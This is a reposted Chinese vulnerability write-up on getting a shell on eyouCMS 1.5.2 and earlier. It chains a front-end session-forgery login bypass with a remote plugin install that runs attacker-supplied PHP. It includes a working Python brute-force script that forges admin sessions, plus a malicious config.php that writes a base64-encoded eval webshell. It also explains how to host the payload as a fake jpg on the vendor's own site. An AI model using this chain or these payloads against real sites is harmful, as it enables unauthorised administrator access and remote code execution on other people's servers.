eyouCMS1.5.2前台getshell


eyouCMS從后台登錄繞過到getshell

漏洞影響范圍

<=1.5.2

后台登錄判斷

application/admin/controller/Base.php-_initialize()

		   $web_login_expiretime = tpCache('web.web_login_expiretime');
            empty($web_login_expiretime) && $web_login_expiretime = config('login_expire');
            $admin_login_expire = session('admin_login_expire'); //最后登錄時間
            if (session('?admin_id') && (getTime() - $admin_login_expire) < $web_login_expiretime) {
                session('admin_login_expire', getTime()); // 登錄有效期
                $this->check_priv();//檢查管理員菜單操作權限
            }else{
                /*自動退出*/
                adminLog('訪問后台');
                session_unset();
                session::clear();
                cookie('admin-treeClicked', null); // 清除並恢復欄目列表的展開方式
                /*--end*/
                if (IS_AJAX) {
                    $this->error('登錄超時!');
                } else {
                    $url = request()->baseFile().'?s=Admin/login';
                    $this->redirect($url);
                }
            }

這里的$web_login_expiretime變量的值為session的有效時間,單位為秒,這里默認設置的為3600

通過if判斷session admin_id是否存在,用getTime()方法獲取當前的時間戳然后減去最后登錄時間的時間戳,如果小於登陸有效時間的化就可以繼續使用該session進行登錄,驗證登錄之后獲取現在的時間戳對session admin_login_expire的值進行更新,然后調用$this->check_priv()方法來檢查管理員菜單操作權限。

這里我們設置的session值是為請求時間戳的md5值,如果要滿足 (getTime() - $admin_login_expire) < $web_login_expiretime)這個條件的話,需要md5值前面是連着一串得數字,這樣可以將計算得效果為負數,自然也就滿足條件了

/application/admin/controller/Base.php-check_priv()

    public function check_priv()
    {
        $ctl = CONTROLLER_NAME;
        $act = ACTION_NAME;
        $ctl_act = $ctl.'@'.$act;
        $ctl_all = $ctl.'@*';
        //無需驗證的操作
        $uneed_check_action = config('uneed_check_action');
        if (0 >= intval(session('admin_info.role_id'))) {
            //超級管理員無需驗證
            return true;
        } else {
            $bool = false;

            /*檢測是否有該權限*/
            if (is_check_access($ctl_act)) {
                $bool = true;
            }
            /*--end*/

            /*在列表中的操作不需要驗證權限*/
            if (IS_AJAX || strpos($act,'ajax') !== false || in_array($ctl_act, $uneed_check_action) || in_array($ctl_all, $uneed_check_action)) {
                $bool = true;
            }
            /*--end*/

            //檢查是否擁有此操作權限
            if (!$bool) {
                $this->error('您沒有操作權限,請聯系超級管理員分配權限');
            }
        }
    }

可以看到是如果session admin_info.role_id的值如果小於等於0就等於擁有了超級管理員的權限,就相當於繞過了登錄直接拿到了后台管理員的權限

需要session總結

admin_login_expire:需要一段以數字開頭的連續一定長度的md5值,但是服務器接收的是HTTP的REQUEST_TIME_FLOAT頭,精確到小數點后3或者4位,使用腳本時無法與其匹配,又因是md5加密,所以加密之后的值差別很大,但是這里是可以通過爆破來一直嘗試,只要一次成功那么就會設置session admin_login_expire,所以只要開着腳本放一會兒就可以生成這個session,如果再次生成則會覆蓋,只需判斷是否可以憑借該session登錄后台即可

admin_id:判斷是否存在,隨意創建一個即可

admin_info.role_id:以0開頭的md5值或者以字母開頭的md5值

因為生成的admin_id和真正的admin_id是不一樣的,所以進行增刪改的操作並且涉及到admin_id的值時會報錯

前台session設置

/core/library/think/library/Controller.php-__construct(Request $request = null)

        if (!defined('IS_AJAX')) {
            $this->request->isAjax() ? define('IS_AJAX',true) : define('IS_AJAX',false);  // 
        }

/core/library/think/library/Request.php-isAjax($ajax = false)

     /**
     * 當前是否Ajax請求
     * @access public
     * @param bool $ajax true 獲取原始ajax請求
     * @return bool
     */
    public function isAjax($ajax = false)
    {
        $value  = $this->server('HTTP_X_REQUESTED_WITH', '', 'strtolower');
        $result = ('xmlhttprequest' == $value) ? true : false;
        if (true === $ajax) {
            return $result;
        } else {
            $result           = $this->param(Config::get('var_ajax')) ? true : $result;
            $this->mergeParam = false;
            return $result;
        }
    }
...
    public function server($name = '', $default = null, $filter = '')
    {
        if (empty($this->server)) {
            $this->server = $_SERVER;
        }
        if (is_array($name)) {
            return $this->server = array_merge($this->server, $name);
        }
        return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
    }
...
    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 獲取原始數據
            return $data;
        }
        $name = (string) $name;
        if ('' != $name) {
            // 解析name
            if (strpos($name, '/')) {
                list($name, $type) = explode('/', $name);
            } else {
                $type = 's';
            }
            // 按.拆分成多維數組進行判斷
            foreach (explode('.', $name) as $val) {
                if (isset($data[$val])) {
                    $data = $data[$val];
                } else {
                    // 無輸入數據,返回默認值
                    return $default;
                }
            }
            if (is_object($data)) {
                return $data;
            }
        }

        // 解析過濾器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {
            $this->filterValue($data, $name, $filter);
        }

        if (isset($type) && $data !== $default) {
            // 強制類型轉換
            $this->typeCast($data, $type);
        }
        return $data;
    }

首先調用get_token()方法需要常量IS_AJAX的值為True,於是先要調用Request類的isAjax()方法,再調用本類的server()方法,再傳入到本類的input()方法,其實就是將$_SERVER數組變量中的HTTP_X_REQUESTED_WITH參數的值取出,通過

$result = ('xmlhttprequest' == $value) ? true : false;

來返回IS_AJAX的值,只有為True時才能夠請求api中的Ajax.php中的方法

/application/api/controller/Ajax.php-get_token()

    public function get_token($name = '__token__')
    {
        if (IS_AJAX) {
            echo $this->request->token($name);
            exit;
        } else {
            abort(404);
        }
    }

get_token是前台可以隨意調用的,可以通過傳遞變量$name,並且會對$this->request->token($name)返回的值進行打印。繼續跟進token函數

/core/library/think/library/Request.php-token()

    public function token($name = '__token__', $type = 'md5')
    {
        $type  = is_callable($type) ? $type : 'md5';
        $token = call_user_func($type, $_SERVER['REQUEST_TIME_FLOAT']);
        if ($this->isAjax()) {
            header($name . ': ' . $token);
        }
        Session::set($name, $token);
        return $token;
    }

將get_token()方法的$name參數傳遞進來,並且默認的加密方式為md5,這里將請求開始的時間進行md5進行加密,將session的值名字和md5請求時間戳通過http頭返回,然后使用Session::set($name, $token)方法來設置session

/core/library/think/Session.php-set()

    public static function set($name, $value = '', $prefix = null)
    {
        empty(self::$init) && self::boot();

        $prefix = !is_null($prefix) ? $prefix : self::$prefix;
        if (strpos($name, '.')) {
            // 二維數組賦值
            list($name1, $name2) = explode('.', $name);
            if ($prefix) {
                $_SESSION[$prefix][$name1][$name2] = $value;
            } else {
                $_SESSION[$name1][$name2] = $value;
            }
        } elseif ($prefix) {
            $_SESSION[$prefix][$name] = $value;
        } else {
            $_SESSION[$name] = $value;
        }
    }

漏洞利用腳本編寫

from time import time
import requests


class eyoucms_login:
    def __init__(self, url):
        self.url = url
        self.req = requests.session()
        self.api_gettoken = 'index.php/?m=api&c=Ajax&a=get_token&name='
        self.header = {
            'x-requested-with': 'XMLHttpRequest'
        }

    def get_admin_id(self):
        res = self.req.get(self.url + self.api_gettoken + 'admin_id', headers=self.header)
        print('admin_id:' + res.text)
        print(res.headers['Set-Cookie'])

    def get_admin_login_expire(self):
        while True:
            res = self.req.get(self.url + self.api_gettoken + 'admin_login_expire', headers=self.header)
            result = self.login_test()
            if result == 'ok':
                print('login success')
                break


    def get_admin_info_role_id(self):
        while True:
            res = self.req.get(self.url + self.api_gettoken + 'admin_info.role_id', headers=self.header)
            if res.text[:1] in ['1', '2', '3', '4', '5', '6', '7', '8', '9']:
                pass
            else:
                print('admin_info.role_id:', res.text)
                break

    def login_test(self):
        res = self.req.get(self.url + 'login.php')
        if '管理系統' in res.text:
            return 'ok'

    def run(self):
        self.get_admin_id()
        self.get_admin_info_role_id()
        self.get_admin_login_expire()


if __name__ == '__main__':
    url = 'http://www.testeyou1.com/'
    test = eyoucms_login(url)
    test.run()

后台遠程插件下載getshell

/application/admin/controller/Weapp.php-downloadInstall()

    public function downloadInstall($url)
    {
        $parse_data = parse_url($url);
        if (empty($parse_data['host']) || GetUrlToDomain($parse_data['host']) != 'eyoucms.com') {
            $this->error('該雲插件下載鏈接出錯!', url('Weapp/plugin'));
        }
        
        /*遠程下載文件start*/
        $savePath   = UPLOAD_PATH . 'tmp' . DS;//保存路徑
        $folderName = session('admin_id') . '-' . dd2char(date("ymdHis") . mt_rand(100, 999));
        $fileName   = $folderName . ".zip";
        //保存至框架應用根目錄/public/upload/tmp/ 目錄下  返回文件詳細路徑+名稱
        $result = $this->downloadFile($url, $savePath, $fileName);
        if (!isset($result['code']) || $result['code'] != 1) {
            $this->error($result['msg']);
        }
        $filepath = $result['filepath'];
        /*遠程下載文件end*/

        if (file_exists($filepath)) {
            /*解壓文件*/
            $zip = new \ZipArchive();//新建一個ZipArchive的對象
            if ($zip->open($filepath) != true) {
                $this->error("插件壓縮包讀取失敗!", url('Weapp/plugin'));
            }
            $zip->extractTo($savePath . $folderName . DS);//假設解壓縮到在當前路徑下插件名稱文件夾內
            $zip->close();//關閉處理的zip文件
            /*--end*/
            /*獲取插件目錄名稱*/
            $dirList   = glob($savePath . $folderName . DS . WEAPP_DIR_NAME . DS . '*');
            $weappPath = !empty($dirList) ? $dirList[0] : '';
            if (empty($weappPath)) {
                @unlink(realpath($savePath . $fileName));
                delFile($savePath . $folderName, true);
                $this->error('插件壓縮包缺少目錄文件', url('Weapp/plugin'));
            }

            $weappPath    = str_replace("\\", DS, $weappPath);
            $weappPathArr = explode(DS, $weappPath);
            $weappName    = $weappPathArr[count($weappPathArr) - 1];
            /*--end*/

            /*修復非法插件上傳,導致任意文件上傳的漏洞*/
            $configfile = $savePath . $folderName . DS . WEAPP_DIR_NAME . DS . $weappName . '/config.php';
            if (!file_exists($configfile)) {
                $msg = '插件不符合標准!';
                $filelist_tmp = getDirFile($savePath . $folderName . DS . WEAPP_DIR_NAME . DS . $weappName);
                if (empty($filelist_tmp)) {
                    $msg = '壓縮包解壓失敗,請聯系空間商';
                }
                @unlink(realpath($savePath . $fileName));
                delFile($savePath . $folderName, true);
                $this->error($msg, url('Weapp/plugin'));
            } else {
                $configdata = include($configfile);
                if (empty($configdata) || !is_array($configdata)) {
                    @unlink(realpath($savePath . $fileName));
                    delFile($savePath . $folderName, true);
                    $this->error('插件不符合標准!', url('Weapp/plugin'));
                } else {
                    $sampleConfig = include(DATA_NAME . DS . 'weapp' . DS . 'Sample' . DS . 'weapp' . DS . 'Sample' . DS . 'config.php');
                    if (is_array($sampleConfig)) {
                        foreach ($configdata as $key => $val) {
                            if ('permission' != $key && !isset($sampleConfig[$key])) {
                                @unlink(realpath($savePath . $fileName));
                                delFile($savePath . $folderName, true);
                                $this->error('插件不符合標准!', url('Weapp/index'));
                            }
                        }
                    }
                }
            }
      ...

首先通過parse_url()方法將傳入的url的host進行分析,這里的host需要為eyou.com,然后重新修改文件的名字並且加上.zip的后綴,所以這里傳入的url中文件的格式是不限制的,可以將后綴為jpg的壓縮文件進行處理,然后將文件下載到./uploads/tmp\下,然后對該壓縮包進行解壓,先將該文件解壓到當前目錄下,通過配置中的常量WEAPP_DIR_NAME來加載該目錄下的目錄列表,並獲取目錄的名稱,對該目錄下的config.php文件進行包含,這里由於文件包含的內容我們是可控的,所以可以通過文件包含來寫入webshell

https://www.eyoucms.com/ask/?ct=question&ac=ask_complete

可以在eyoucms的官方提問然后將壓縮文件的后綴改成jpg進行上傳

config.php

<?php
file_put_contents("./uploads/allimg/0427bd01edea972d400a106514ab7f68.php",base64_decode("PD9waHAgcGhwaW5mbygpO0BldmFsKCRfUE9TVFsyMzNdKTs/Pg=="));
?>

會在./uploads/allimg/0427bd01edea972d400a106514ab7f68.php路徑下生成一個webshell,對其進行訪問即可、

0427bd01edea972d400a106514ab7f68.php

<?php phpinfo();@eval($_POST[233]);?>


參考

https://forum.butian.net/share/104


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM